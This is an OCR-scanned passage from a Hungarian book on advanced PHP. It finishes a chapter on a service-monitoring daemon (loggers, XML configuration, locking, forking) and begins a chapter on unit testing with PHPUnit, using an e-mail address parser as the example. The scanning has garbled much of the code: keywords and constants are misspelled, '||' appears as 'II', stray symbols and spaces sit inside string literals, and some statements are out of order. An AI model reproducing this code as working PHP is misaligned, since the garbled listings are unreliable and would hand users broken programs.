if ( $service->current_status == ServiceCheck::FAILURE) { $message = "Problem with {$service->description()}\r\n" ; mail('oncall@example.com', 'Service Event', $message); if($service->consecutive_failures() > 5) { mail('oncall_backup@example.com', 'Service Event', $message);
} } }

public function log_current_status(ServiceCheck $service)
{

return;
} }

Ötnél több sikertelen próbálkozás esetén a folyamat egy tartalék címre is üzenetet küld. A log_current_status () tagfüggvényt nem tölti meg tartalommal.

154

PHP fejlesztés felsőfokon

Ha olyan ServiceLogger folyamatot szeretnénk megvalósítani, ami a PHP hibanaplóba ír, ha egy szolgáltatás állapota megváltozik, a következő kódot kell írnunk: class ErrorLog_ServiceLogger implements ServiceLogger { public function log_service_event(ServiceCheck $service)
{

if($service->current_status() !== $service->previous_status()) { if($service->current_status() === ServiceCheck::FAILURE) { $status = 'DOWN';
}

else { $status =
}

'UP';

error_log("{$service->description()} changed status to '*«> $status") ;
} }

public function log_current_status(ServiceCheck $service) { error_log("{$service->description()}: $status"); } }

A log_current_status () tagfüggvény itt azt csinálja, hogy ha a folyamat SIGUSRl jelzést kap, minden aktuális állapotinformációt a PHP hibanaplóba önt. A motor beállítófájlja valahogy így festhet:
<config> <loggers> <logger> <id>errorlog</id> <class>ErrorLog_ServiceLogger</class> </logger> <logger> <id>emailme</id> <class>EmailMe_ServiceLogger</class> </logger> </loggers> <services> <service> <class>HTTP_ServiceCheck</class> <params> <description>OmniTI HTTP Check</description> <url>http://www.omniti.com</url> <timeout>3 0</timeout> <frequency>9 00</frequency> </params>

5. fejezet • Megvalósítás PHP nyelven: önálló programok

155

<loggers> <logger>errorlog</logger> <logger>emailme</logger> </loggers> </service> <service> <class>HTTP_ServiceCheck</class> <params> <description>Home Page HTTP Check</description> <url>http://www.schlossnagle.org/~george</url> <timeout>3 0</timeout> <freguency>3 6 0 0 < / f requency> </params> <loggers> <logger>errorlog</logger> </loggers> </service> </services> </config> Amikor megkapja ezt az XML állományt, a ServiceCheckRunner konstruktora minden megadott naplózóból példányt készít, majd az egyes szolgáltatások számára ServiceCheck objektumpéldányokat hoz létre.

Megjegyzés

A konstruktőr a Ref lection_Class osztály segítségével megvizsgálja a szolgáltatás- és naplózó osztályokat, mielőtt példányosítaná azokat. Ez nem feltétlenül szükséges, de jól illusztrálja a PHP5-ben újonnan megjelent visszatekintő felületet (Reflection API). A felület az osztályok mellett a PHP szinte minden belső egyedének (függvények, tagfüggvények) vizsgálatához biztosít osztályokat.

A létrehozott motor használatához még szükséges némi burkoló kód. A figyelőnek meg kell akadályoznia, hogy kétszer is elindíthassuk, és így minden eseményről kétszer küldjünk üzenetet. Emellett bizonyos kapcsolókat is el kell fogadnia, többek között a következőket:
Kapcsoló Leírás

[-f ]______ A motor beállítófájljának helye; alapértelmezés szerint monitor .xml._________ [-n] A gyermekfolyamat-gyűjtőtárnak a motor által megengedett mérete; az alap__________ értelmezett érték 5._________________________________________________ A motor démonná tételét megakadályozó jelző. Akkor lehet rá szükség, ha hibakereső ServiceLogger folyamatot szeretnénk írni, ami az információ__________ kat a stdout-ra vagy a stderr-re írja.____________________________________ [-d]

156

PHP fejlesztés felsőfokon

íme a végleges figyelőprogram, ami kapcsolókat is elfogad, garantálja a kizárólagosságot, és futtatja a szolgáltatáskeresőket:

require_once "Service.inc"; require_once "Console/Getopt.php"; $shortoptions = "n:f:d"; $default_opts = array('n' => 5, ' £ ' => 'monitor.xml') ; $args = getOptions($default_opts, $shortoptions, null); $fp = fopen("/tmp/.lockfile", " a " ) ; i f( ! $ f p II !fl ock($fp, LOCK_EX | LOCK_NB)) {
fputs($stderr, "Failed to acquire lock\n"); exit ; } if(!$args['d']) { if(pcntl_fork()) { exit; }

posix_setsid(); if(pcntl_fork()) exit;
} }

{

fwrite($fp, getmypidt)); fflush($fp); $engine = new ServiceCheckRunner($args['f ' ] , $engine->loop (); $args['n']);

Megfigyelhetjük, hogy a példaprogramban a korábban meghatározott saját getOptions () függvényt használtuk, hogy a feldolgozási kapcsolókkal könnyebb dolgunk legyen. Miután megírtunk egy megfelelő beállítófájlt, a programot a következőképpen indíthatjuk el:

> ./monitor.php -f /etc/monitor.xml
Ezzel létrehoztuk a démont, ami a szolgáltatások figyelését addig folytatja, amíg a számítógépet le nem állítják vagy a programot le nem lövik. A program meglehetősen összetett, ennek ellenére lehet még javítani rajta - de az alábbi feladatokat gyakorlásképpen az Olvasóra hagyjuk: • Adjunk a programhoz egy SIGHUP kezelőt, amely újra feldolgozza a beállítófájlt, hogy a beállításokat a kiszolgáló újraindítása nélkül módosíthassuk.

5. fejezet • Megvalósítás PHP nyelven: önálló programok

157

• írjunk egy olyan ServiceLogger-t, ami maradandó (perzisztens) adatok számára készített adatbázisba ír, ahonnan az adatok lekérdezhetők. • Készítsünk webes felületet a programhoz, hogy a figyelőrendszer csinos grafikus felülettel rendelkezzen.

További olvasmányok
A PHP nyelvű héjprogramozással kapcsolatban nem sok forrás lelhető fel; a Perl a felügyeleti feladatok terén sokkal nagyobb múltra tekinthet vissza. Dávid N. Blank-Edelman könyve, a Perl for Systems Administration összeszedett szöveg, a két nyelv szabályai és szolgáltatásai között pedig van annyi hasonlóság, hogy a kötetben szereplő Perl nyelvű példákat könnyen átültethessük PHP-re. Aphp \architect című elektronikus (illetve most már nyomtatásban is elérhető) folyóiratból Marco Tabini remek cikkét ajánljuk, amelyet a PHP, illetve az ncurses bővítmény segítségével épített interaktív, terminál alapú alkalmazásokról írt. (Volume 1, Issue 12. Elérhető a http: //www.phparch. com címen.) Bár itt sajnos nincs elegendő hely a tárgyalására, a PHP-GTK kétségkívül érdekes vállalkozás, amely grafikus felületű asztali alkalmazások készítésére irányul PHP nyelven, a GTK grafikus elemkészlet segítségével. A PHP-GTK-ról bővebb információt a http: / /gtk. php. net címen találunk. Érdemes megnézni a http: / /nagios . org címen elérhető Nagios erőforrás-figyelőt, amely egy kitűnő nyílt forrású figyelőrendszer. A fejezetben bemutatott figyelőprogramot is a Nagios ihlette. A Nagios C nyelvű és CGI alapú, ezért nehezen testreszabható, a mi programunk motorjának magja azonban PHP nyelvű, így az előtérrendszer könnyen az igényekhez igazítható.

Egységtesztelés
A tervezés és a tesztelés elválaszthatatlanul összetartozik. Minden kódot ellenőrizni kell valamikor - megvalósítás közben, kifejezetten tesztelési lépésben, vagy üzembe helyezéskor. Minden fejlesztő, akinek a keze közül került már ki hibás kód, tudja, hogy könnyebb megtalálni a hibát fejlesztés közben, mint „élőben", működés közben. Számos kifogás létezik arra, hogy valaki miért is nem teszteli a kódot, mielőtt túl késő lenne. Ezek a legnépszerűbbek: • Szorít a határidő. • Az én kódom mindig működik elsőre is. • Az én gépemen tökéletesen fut a kód. Vizsgáljuk meg a fenti kifogásokat. Először is, a tempó általában azért feszített, mert nem mindegy, hogy előbb vagy később tesztelünk: a kód stabillá és működőképessé tételéhez szükséges tesztelés mennyisége egyenesen arányos a megírt kóddal, vagyis a korai és késői tesztelés nem azonos költségű műveletek. A hibakeresést két dolog nehezíti: • Egy formális tesztelési rendszerrel nem rendelkező nagy méretű alaprendszerben nehéz megtalálni a hibák gyökerét. Olyan, mintha tűt keresnénk a szénakazalban. Egy tízsoros programban meglelni a hibát könnyű, de ugyanez tízezer sornyi beemelt kód esetében rendkívüli erőfeszítést igényel. • Ahogy az alaprendszer nő, úgy növekszik az elemek közötti függőségek száma is. Egy „központi" függvénykönyvtárban végrehajtott látszólag jelentéktelen változtatás - legyen az akár új szolgáltatás hozzáadása, vagy egy hiba kijavítása - szándékunktól függetlenül tönkreteheti az alkalmazás más részeit, így a szoftver újraépítésére lehet szükség. (Ezt hívják idegen szóval refaktorizációnak.) Ahogy a szoftver mérete és összetettsége nő, egyre nehezebbé válik olyan módosításokat végrehajtani, amelyek nem járnak jelentős időköltséggel vagy nem okoznak újabb hibákat.

160

PHP fejlesztés felsőfokon

Másodszor, minden szoftver tartalmaz hibákat. Aki azt állítja, hogy az ő programjai mindig hibamentesek, álomvilágban él. Harmadszor, minden rendszer beállításai különböznek, és ezek a különbségek gyakran előre nem látható módon alakulnak ki. A PHP különböző változatait használják, a függvénykönyvtárak verziószáma különbözik, más az állományrendszer felépítése - ez csak néhány a lehetséges okok közül, amelyek miatt az egyik gépen tökéletesen futó kód a másik gépen rejtélyesen kudarcot vall. Bár az említett gondok megoldására nem létezik csodaszer, egy jó egységtesztelő infrastruktúra sokat segíthet. Az egység (unit) a kód egy kisméretű önálló része, például egy függvény vagy osztálymetódus. Az egységtesztelés a kód ellenőrzésének olyan formális megközelítése, amelyben egy alkalmazás minden összetevőjéhez (vagyis minden egységhez) egy-egy teszthalmaz tartozik. Ha ezen tesztek végrehajtására van egy automatizált keretrendszerünk, az alkalmazást folyamatosan és következetesen ellenőrizhetjük, így gyorsan azonosíthatjuk a hibákat, és értékelhetjük egy újraépítés hatását a program más részeire. Az egységtesztelés nem pótolja a teljes alkalmazástesztelést, csak kiegészíti azt, hogy rövidebb udő alatt stabilabb kódot készíthessünk. Azzal, hogy folyamatos ellenőrzést kapcsolunk egy függvénykönyvtárhoz, ami végigkíséri annak egész életét, megkönnyítjük a kód újraépítését, és biztosítjuk, hogy a többi szolgáltatásban ne következzen be visszafordíthatatlan változás. Minden esetben, amikor belső módosítást eszközölünk a függvénykönyvtárban, a tesztcsomagot újra lefuttatjuk. Ha az ellenőrzés nem jelez hibát, az újraépítés sikeres volt. Ezzel a rejtélyes alkalmazáshibák felderítése jelentősen könnyebbé válik. Ha egy könyvtár minden tesztet sikeresen teljesít (és a tesztcsomag teljes), a hibát valószínűleg nem ő okozza.

Megjegyzés

Az egységtesztelést általában az extrém programozás módszertanához kötik. Az átfogó egységtesztelés valóban sarokköve az extrém programozásnak, de a módszer már jóval az extrém programozás megjelenése előtt létezett, és természetesen attól függetlenül is használható. E könyv egyetlen programozási módszerről sem állítja, hogy az lenne az „egyetlen helyes stílus", ezért az egységtesztelést is önálló eljárásként tárgyaljuk, amely stabil kódok tervezését és építését segíti. Ha az extrém programozásról még nem olvastunk semmit, érdemes megismerkednünk vele. Érdekes megoldásokat tartalmaz, amelyekkel számos profi programozó él. A fejezet végén, a További olvasmányok című részben részletesebb információkat találunk.

6. fejezet • Egységteszteles

161

Bevezetés az egységtesztelésbe
Egy sikeres egységtesztelő keretrendszernek rendelkeznie kell bizonyos tulajdonságokkal, többek között a következőkkel: • Automatizált - A rendszernek minden szükséges tesztet a programozó beavatkozása nélkül kell futtatnia. • Könnyen megírható - A rendszernek könnyen használhatónak kell lennie. • Bővíthető - A szükséges munkamennyiség csökkentése céljából a már létező teszteknek újrahasznosíthatónak kell lenniük. Ahhoz, hogy valóban profitálhassunk az egységtesztelésből, a teszteknek is meg kell felelniük bizonyos ismérveknek: • Átfogó - A teszteknek minden függvényt és osztályt ellenőrizniük kell. Nem csak azt kell biztosítanunk, hogy minden függvény úgy működik, ahogy várjuk, hanem azt is, hogy ha helytelen adatokat kapnak, megfelelően fejezik be működésüket. Emellett a könyvtár használata során felfedezett hibákra is teszteket kell írnunk. A részleges tesztelés olyan lyukakat hagy, amelyek újraépítés esetén új hibákhoz vagy a régiek újbóli felbukkanásához vezethetnek. • Újrahasznosítható - A teszteknek elég általánosnak kell lenniük, hogy célpontjukat újra és újra ellenőrizhessék, ami szükséges ahhoz, hogy a könyvtár helyességét teljes élettartama alatt biztosíthassuk.

Egységtesztek írása automatikus egységteszteléshez
A fejezetben tárgyalt tesztelő keretrendszerhez a PEAR PHPUnit csomagját használjuk. A PHPUnit a legtöbb ingyenes egységtesztelő keretrendszerhez hasonlóan a JUnit-on, Erich Gamma és Kent Beck kitűnő Java egységtesztelő csomagján alapul. A PHPUnit telepítéséhez csak a következő parancsot kell kiadnunk (valószínűleg rendszergazdai hozzáféréssel): # pear install phpunit A PHPUnit emellett a http: //pear .php.net/PHPUnit címről is letölthető.

Első egységtesztünk
Az egységtesztek úgynevezett tesztesetek gyűjteményei. A teszteset feladata egy adott forgatókönyv kimenetelének ellenőrzése. A forgatókönyv olyan egyszerű is lehet, mint egy függvény eredményének tesztelése, de ellenőrizhetjük egy bonyolult művelethalmaz eredményét is.

162

PHP fejlesztés felsőfokon

A PHPUnit-ban a tesztesetek a PHPUnit_Framework_TestCase osztály alosztályai. Ezen osztály példányai egy vagy több tesztesetből, illetve nem kötelező beállításokból és más kódból állnak. A legegyszerűbb tesztesetek egyetlen tesztet valósítanak meg. írjunk most egy olyan tesztet, ami egy egyszerű levélcím-feldolgozó viselkedését ellenőrzi. A feldolgozó egy RFC 822-megfelelő elektronikus levélcímet bont annak összetevőire. class EmailAddress { public $localPart; public $domain; public $address; public function _____ construct($address = null) if($address) { $this->address = $address; $this->extract();
} }

{

protected function extract() { list ($this->localPart, $this->domain) = explode("@", $this->address) ;
} }

A fenti kód tesztelésére létrehozunk egy TestCase nevű osztályt, ami egy olyan tagfüggvényt tartalmaz, ami ellenőrzi, hogy egy ismert e-mail címet helyesen bontottunk-e összetevőkre: require_once "EmailAddress.inc"; require_once 'PHPUnit/Framework/TestClass.php'; class EmailAddressTest extends PHPUnit_Framework_TestCase { public function _____ constructor($name) { parent: :____ constructor($name);
}

function testLocalPart() { $email = new EmailAddress("georgeüomniti.com"); // ellenőrizzük, hogy a cím helyi része 'george'-e $this->assertTrue($email->localPart == ' g e o r g e ' ) ;
} }

Ezután be kell jegyeztetnünk a tesztosztályt. Létrehozunk egy PHPUnit_Framework_TestSuite objektumot, és hozzá egy tesztesetpéldányt: require_once "PHPUnit/Framework/TestSuite"; $suite = new PHPUnit_Framework_TestSuite() ; $suite->addTest(new EmailAddressTest('testLocalPart'))

;

6. fejezet • Egységtesztelés

163

Miután ezt elvégeztük, futtatjuk a tesztet: require_on.ce "PHPUnit/TextUI/TestRunner" ; PHPUnit_TextUI_TestRunner::run($suite); Az alábbi eredményt kapjuk, amit kiírathatunk: PHPUnit 1. 0. 0-dev by Sebastian Bergmann.

Time: 0.00156390666962 OK (1 test)

^

Több teszt hozzáadása
Ha több kisméretű tesztesetünk van (például ha mind a helyi címrész, mind a tartomány helyes felbontását ellenőrizzük), elkerülhetjük, hogy sok TestCase osztályt kelljen létrehoznunk. A TestCase osztályok ugyanis egyszerre több tesztet is tartalmazhatnak: class EmailAddressTestCase extends PHPUnit_Framework_TestCase{ public function _____ constructor($name) { parent: :____constructor($name);
}

public function testLocalPart() { $email = new EmailAddress("george@omniti.com"); // ellenőrizzük, hogy a cím helyi része 'george'-e $this->assertTrue($email->localPart == 'george'); } public function testDomainO { $email = new EmailAddress("george@omniti.com"); $this->assertEquals($email->domain, 'omniti.com'); } } A tesztek bejegyzése ugyanúgy történik, mintha egyetlen tesztünk lenne: $suite = new PHPUnit_FrameWork_TestSuite(); $suite->addTest(new EmailAddressTestCase('testLocalPart')); $suite->addTest(new EmailAddressTestCase('testDomain')); PHPUnit_TextUI_TestRunner::run($suite);

164

PHP fejlesztés felsőfokon

Kényelmi szempontból célszerű a PHPUnit_Framework_TestSuite objektumot a TestCase osztály nevével példányosítani, mert így a $suite minden tagfüggvényt, amelynek neve a test előtaggal kezdődik, automatikusan bejegyez: $suite = new PHPUnit_Framework_TestSuite('EmailAddressTestCase') ; // a testLocalPart és a testDomain bejegyzése most már automatikus PHPUnit_TextUI_TestRunner::run($suite); Meg kell jegyeznünk, hogy ha a csomaghoz az addTest használatával adunk több tesztet, azok abban a sorrendben futnak le, amelyben hozzáadtuk őket. Ha a teszteket automatikusan jegyezzük be, bejegyzésük a get_class_methods () által visszaadott sorrendben történik. (A TestSuite ezzel a függvénnyel nyeri ki automatikusan a tesztelő függvényeket.)

Kódon belüli és kívüli egységtesztek
Az egységtesztek nem csak a fejlesztés korai szakaszában hasznosak, hanem a projekt teljes élete során. Amikor csak újraépítünk egy kódot, azt szeretnénk, ha a teljes egységtesztelő csomag futtatásával ellenőrizhetnénk annak helyességét. De hogyan rendezhetjük el a legjobban az egységteszteket úgy, hogy azok könnyen futtathatók, frissíthetők, és a könyvtárral együtt „szállíthatók" legyenek? Az egységtesztek becsomagolására két lehetőségünk van. Az első, hogy a tesztelő kódot közvetlenül a könyvtárakba építjük. E módszer előnye, hogy a tesztek az ellenőrzendő kóddal együtt frissülhetnek, de vannak hátrányai is. A másik lehetőség, hogy a teszteket önálló fájlokba helyezzük.

Kódon belüli tesztelés
A tesztek becsomagolásának egyik lehetséges módja, hogy közvetlenül a könyvtárakba építjük őket. Mivel pedáns programozók vagyunk, függvényeinket alárendelt könyvtárakban tartjuk, amelyeket soha nem hívunk meg közvetlenül (vagyis soha nem hozunk létre olyan oldalt, hogy www. omniti . com/EmailAddress . inc). Ennélfogva ha a tesztelő kódot úgy adjuk hozzá egy könyvtárhoz, hogy kizárólag akkor fusson le, ha a könyvtárat közvetlenül hívják meg, a kódot láthatatlanul beépíthetjük a kódalapba. Adjuk az EmailAddress . inc végéhez a következő blokkot: if (realpath($_SERVER[ ' PHP_SELF ' ] ) ==____FILÉ__ ) { require_once "PHPUnit/Framework/TestSuite.php"; require_once "PHPUnit/TextUI/TestRunner.php"; class EmailAddressTestCase extends PHPUnit_Framework_TestCase{ public function _____ construct($name) { parent: :____construct ( $name) ;
}

6. fejezet • Egységtesztelés

165

public function testLocalPart() { $email = new EmailAddress("george@omniti.com"); // ellenőrizzük, hogy a cím helyi része 'george'-e $this~>assertTrue($email->localPart == ' g e or g e ' ) ;
}

public function testDomain() { $email = new EmailAddress("georgeSomniti.com"); $this->assertEquals($email->domain, ' om n i t i . c om ' ) ;
} }

$suite = new PHPUnit_Framework_TestSuite('EmailAddressTestCase'); PHPUnit_TextUI_TestRunner::run($suite);
}

Mi történik itt? A blokk elején ellenőrizzük, hogy a fájlt közvetlenül vagy (az includedal) beemelt kódként hajtjuk-e végre. A $_SERVER [' PHP_SELF ' ] automatikus változó, amely a végrehajtás alatt álló program nevét adja meg. A realpath ( $_SERVER [ ' PHP_SELF ' ] ) a fájl kanonikus abszolút elérési útját adja vissza, a___FILÉ__ pedig - ami egy automatikusan meghatározott állandó - az aktuális fájl kanonikus nevét. Ha a kettő megegyezik, az azt jelenti, hogy a fájlt közvetlenül hívták meg; ha különböznek, include hívásról van sző. Ezután a szokásos egységtesztelő kód következik, majd a tesztek meghatározása, bejegyzése és futtatása.

Relatív, abszolút és kanonikus elérési utak

Ezeket a kifejezéseket gyakran használják. A relatív elérési út az aktuális könyvtárhoz viszonyított, például valami .php vagy . . /scripts/valami .php. Mindkét példában tudnunk kell, melyik az aktuális könyvtár, hogy megtalálhassuk a fájlt. Az abszolút elérési út a gyökérkönyvtárhoz képest adja meg a helyet. A /home/george/ scripts/valami.php vagy a/home/george//src/../scripts/./valami.php például abszolút elérési utak. (Mindkettő ugyanarra az állományra mutat.) A kanonikus elérési útban nem szerepelnek a következő jelek: /. ./, /./ és //. A realpath () függvénynek egy relatív vagy abszolút elérési utat kell átadnunk, amit az kanonikus abszolút elérési úttá alakít. Ilyen elérési út például a /home/george/scripts/valami.php.

166

PHP fejlesztés felsőfokon

Az EmailAddress osztály teszteléséhez csak közvetlenül végre kell hajtanunk a beemelt állományt: (george@maya)[chapter-6]> php EmailAddress.inc PHPUnit 1.0.0-dev by Sebastian Bergmann.

Time: 0.003005027771 OK (2 tests) A tesztkód közvetlen beágyazása a könyvtárba ismerős lehet a Python programozók számára, hiszen a Python szabványos könyvtára gyakran él ezzel a tesztelési módszerrel. A kódon belüli tesztek előnyei a következők: • A tesztek mindig kéznél vannak. • A felépítés szigorúan szabályozott. A módszernek azonban vannak hátulütői is: • Ha a termék elkészült, szállítás előtt a tesztkódokat saját kezűleg kell kiszedegetni. • A tesztelés módosításához a könyvtárakat nem kell megváltoztatni, és ez fordítva is igaz. így a tesztek és a könyvtárkódok változatainak kezelése egymástól független lesz. • A PHP értelmezett nyelv, így a teszteket mindenképpen fel kell dolgozni a program futtatásakor, ami csökkentheti a teljesítményt. Ezzel szemben egy olyan lefordított nyelvben, mint a C++, előfeldolgozói utasításokkal (pl. #ifdef) teljes egészében eltávolíthatjuk a tesztkódot a könyvtárból, ha a fordítás nem egy adott jelzővel történik. • A beágyazott tesztek a weblapok, illetve C bővítmények esetében nem működnek (legalábbis nem egyszerűen).

Önálló tesztek
A beágyazott tesztek hátrányait figyelembe véve célszerű másik módszert választani, és a teszteket önálló állományokba helyezni. Az ilyen külső tesztek megvalósítására számos megközelítés létezik. Egyesek minden könyvtármappában létrehoznak egy t vagy tests nevű alkönyvtárát, amelybe a tesztkódokat helyezik. (Ez a Periben a regressziós tesztek szabványos módszere, amit újabban a PHP forrásépítő fa tesztelésére is átvettek.) Mások tesztjeiket közvetlenül a forrásfájlok mellé teszik. Szervezési szempontból mindkét módszernek vannak előnyei, úgyhogy a döntés inkább csak a személyes ízlésünkön múlik. Mi a második megközelítésnél maradunk, hogy a példák világosak maradjanak. Minden könyvtár. inc fájlhoz létre kell hoznunk egy könyvtár. phpt fájlt, amely tartalmazza a számára meghatározott valamennyi PHPUnit_Framework_TestCase objektumot.

6. fejezet • Egységtesztelés

167

A tesztprogramban hasonló fogást alkalmazunk, mint amit a fejezet korábbi részében: becsomagoljuk a PHPUnit_Framework_TestSuite létrehozását és lefuttatunk egy ellenőrzést, hogy lássuk, a tesztkód végrehajtása közvetlenül történik-e. így könnyen futtathatjuk a fájlban található teszteket (közvetlen végrehajtással), vagy beemelhetjük azokat egy nagyobb tesztbe. Az EmailAddress .phpt így néz ki:
<?php require_once "EmailAddress.inc"; require_once 'PHPUnit/Framework/TestSuite.php'; require_once 'PHPUnit/TextUI/TestRunner.php'; class EmailAddressTestCase extends PHPUnit_Framework_TestCase { public function __ construct($name) { parent: :__ construct ( $name) ; } public function testLocalPart() { $email = new EmailAddress("georgeüomniti.com"); // ellenőrizzük, hogy a cím helyi része 'george'-e $this->assertTrue($email->localPart == 'george') ; } public function testDomain() { $email = new EmailAddress("george@omniti.com"); $this->assertTrue($email->domain == 'omniti.com'); } } if (realpath($_SERVER[PHP_SELF] ) ==__ FILÉ__ ) { $suite = new PHPUnit_Framework_TestSuite('EmailAddressTestCase'); PHPUnit_TextUI_TestRunner::run($suite); } ?>

A tesztek nagyobb egységbe való beemelésén kívül közvetlenül is végrehajthatjuk az EmailAddress .phpt-t, hogy csak a benne található tesztek fussanak le:
PHPUnit 1 . 0 . 0 -d e v by Sebastian Bergmann.

Time: 0.0028760433197 OK (2 tests)

168

PHP fejlesztés felsőfokon

Egyszerre több teszt futtatása
Ahogy egy alkalmazás mérete nő, az újraépítés rémálommá válhat. Láttam már olyan, millió sorból álló kódalapot, amelyben a hibákkal nem is törődtek, egyszerűen azért, mert a kód túl sok létfontosságú összetevőhöz kapcsolódott, amelyek működőképességét nem akarták kockára tenni. Az igazi gondot nem a kód átfogó felhasználása jelentette, hanem az, hogy az alkalmazás összetevőinek tesztelésére nem volt megbízható módszer, amivel az újraépítések hatását meg lehetett volna határozni. Én lusta vagyok, és úgy vélem, a legtöbb fejlesztő az - ami nem feltétlenül baj. Egy egyszerű regressziós tesztet írni könnyű, így ha a teljes alkalmazást nem tudom könnyen ellenőrizni, ellenőrzöm azt a részét, amelyiket könnyen lehet. Szerencsére a TestCase objektumokat egyszerű összefogni egy nagyobb regressziós tesztben. Ha egyetlen teszt részeként több TestCase objektumot szeretnénk futtatni, osztályaikat az addTestSuite () tagfüggvénnyel adhatjuk a csomaghoz. Lássuk, hogyan:
<?php require_once require_once require_once require_once

"EmailAddress.phpt"; "Text/Word.phpt"; "PHPUnit/Framework/TestSuite.php"; "PHPUnit/TextUI/TestRunner.php";

$suite = new PHPUnit_Framework_TestSuite(); $suite->addTestSuite('EmailAddressTestCase'); $suite->addTestSuite('Text/WordTestCase'); PHPUnit_TextUI_TestRunner::run($suite); ?>

A másik megoldás, ha kihasználjuk a PHPUnit__Framework__TestSuite automatikus bejegyzési képességeit. Az automatikusan betöltendő tesztfüggvények elnevezési szabályaihoz hasonlóan megkövetelhetjük, hogy minden automatikusan betöltendő PHPUnit_Framework_TestCase alosztály neve TestCase-re végződjön. Ezután végignézhetjük a bevezetett osztályok listáját, hogy a megfelelő osztályokat a tesztcsomaghoz adjuk. Mindez így történik:
<?php require_once "PHPUnit/FrameWork/TestSuite.php"; class TestHarness extends PHPUnit_Framework_TestSuite { priváté $seen = array(); public function __ construct() { $thís = parent: :__ construct(); foreach( get_declared_classes() as $class) { $this->seen[$class] = 1; } }

6. fejezet • Egységtesztelés

169

public function register($file) { require_once($file) ; foreach( get_declared_classes() as $class) { if(array_key_exists($class, $this->seen)) { continue; }

$this->seen[$class] = 1; // a ZE kisbetűssé alakítja az osztályneveket, ezért "testcase"-t keresünk if(substr($class, -8, 8) == ' t e s t c a s e ' ) { print "adding $class\n"; $this->addTestSuite($class);
} } } } ?>

A TestHarness osztály használatához egyszerűen be kell jegyeznünk a tesztosztályokat tartalmazó állományokat, és ha azok neve TestCase-re végződik, bejegyezhetők és futtathatók lesznek. Az alábbi példában egy burkolót készítünk, ami a TestHarness segítségével automatikusan betölti az EmailAddress .phpt és a Text/Word.phpt állományokban található teszteseteket: <?php require_once "TestHarness.php"; require_once "PHPUnit/TextUI/TestRunner.php"; $suite = new TestHarness(); $suite->register("EmailAddress.phpt"); $suite->register("Text/Word.phpt"); PHPUnit_TextUI_TestRunner::run($suite);
?>

Ez megkönnyíti, hogy egyetlen központi helyről futtassunk minden PHPUnit_Framework_TestCase objektumot, ami nagy megkönnyebbülést jelenthet, ha egy API-ban olyan központi könyvtárakat építünk újra, amelyek az alkalmazás számos különböző részére lehetnek hatással.

A PHPUnit további szolgáltatásai
Az egyik előnye annak, hogy (akár kevésbé érett) nyílt forrású szoftvert használunk, az, hogy általában jócskán tartalmaz a használatot megkönnyítő szolgáltatásokat. Minél több fejlesztő használja, annál több „kényelmi" szolgáltatás kerül bele, így válogathatunk az ízlésünknek megfelelő nyelvi megoldások között.

170

PHP fejlesztés felsőfokon

A szolgáltatások túltengése

Az új szolgáltatások megjelenése mind a nyílt forrású, mind a kereskedelmi programokban gyakran éppúgy átok, mint áldás. Egy alkalmazás szolgáltatáskörének növekedése általában két kellemetlen következménnyel jár: • Egyes szolgáltatásokat elhanyagolnak, így nehéz megállapítani, melyek használata a legcélszerűbb. • A felesleges szolgáltatások felfújják a kódot, ami nehezíti a karbantartást és rontja a teljesítményt. Ezekkel a problémákkal és a rájuk adott megoldásokkal részletesen foglalkozunk a 8. fejezetben.

Beszédesebb hibaüzenetek létrehozása
Néha az alábbinál beszédesebb üzenetekre lehet szükség: PHPUnit 1. 0. 0-dev by Sebastian Bergmann. .F.
Time: 0.00583696365356 There was 1 failure: 1) TestCase emailaddresstestcase->testlocalpart() failed: expected true, actual falsé

FAILURES!!! Tests run: 2,

Failures:

1,

Errors:

0.

Egy informatívabb hibaüzenet létfontosságú lehet, hogy megértsük, hol akadt el a program, és mire utal a hiba, különösen ha egy tesztet többször, különböző adatokkal ismételünk. A beszédesebb hibaüzenetek könnyebb létrehozását segítendő, a TestCase által a PHPUnit: :Assert-től örökölt assert függvények támogatják a szabadon meghatározható hibaüzeneteket. Vegyük például a következő kódot: function testLocalPart () { $email = new EmailAddress("georg@omniti.com") ; // ellenőrizzük, hogy a cím helyi része 'george'-e $this->assertTrue($email->localPart == 'george');
}

6. fejezet • Egységtesztelés

171

Ez a kód a korábbihoz hasonló rejtélyes üzenetet eredményez. Helyette használjunk inkább saját üzenetet: function testLocalPart() { $email = new EmailAddress("georg@omniti.com"); // ellenőrizzük, hogy a cím helyi része 'george'-e $this->assertTrue($email->localPart == ' geor g 1 , "localParts: $email->localPart of $email->address != 'george'");
}

Ez már sokkal világosabb hibaüzenetet ad: PHPUnit 1.0. 0-dev by Sebastian Bergmann. .F. Time: 0.00466096401215 There was 1 failure: 1) TestCase emailaddresstestcase->testLocalPart() failed: localParts: george of george@omniti.com != georg FAILURES! ! ! Tests run: 2, Failures: 1, Errors: 0. A hibaüzenet világosabbá tételével remélhetőleg kijavíthatjuk az elírást a tesztben.

Több tesztfeltétel hozzáadása
Az assertTrue segítségét igénybe véve egy kis erőfeszítéssel megállapíthatjuk, hogy egy teszt sikeres volt-e. Ha minden tesztet igazságállításként kell kiértékelnünk, az elég fárasztó lehet, ezért ebben a részben bemutatunk néhány másfajta megoldást. Az alábbi kód például a == használatával ellenőrzi, hogy a $actual egyenértékű-e a $expected-del: assertEquals($expected, $actual, $message='')

Ha a kettő nem egyenértékű, hiba keletkezik, amihez üzenet is tartozhat. Vegyük például ezt: $this->assertTrue($email->localPart === Ez azonos jelentésű ezzel: $this->assertEquals($email->localPart, 'george'); ' g e or g e ' ) ;

172

PHP fejlesztés felsőfokon

A következő kód nem jár sikerrel, és hibaüzenetet adhat, ha a $object null: assertNotNull($object, $message = '')

A következő kód nem jár sikerrel, és hibaüzenetet adhat, ha a $ob j ect nem null: assertNull($object, $message = '')

Az alábbi kód a === használatával ellenőrzi, hogy a $actual egyenértékű-e a $expected-del: assertSame($expected, $actual, $message='')

Ha a kettő nem egyenértékű, hiba keletkezik (esetleges hibaüzenettel). Itt ugyanazzal a módszerrel azt vizsgáljuk, hogy a kettő nem egyenértékű-e: assertNotSame($expected, $actual, $message='')

Ha a kettő egyenértékű, hiba keletkezik (esetleges hibaüzenettel). Az alábbi példában azt nézzük meg, hogy a $condition true-e: assertFalse($condition, $message='')

Ha igaz, hiba keletkezik (esetleges hibaüzenettel). Az alábbi kőd hibát ad vissza, ha a $actual nem illeszkedik a $expected-re: assertRegExp($expected, $actual, $message='')

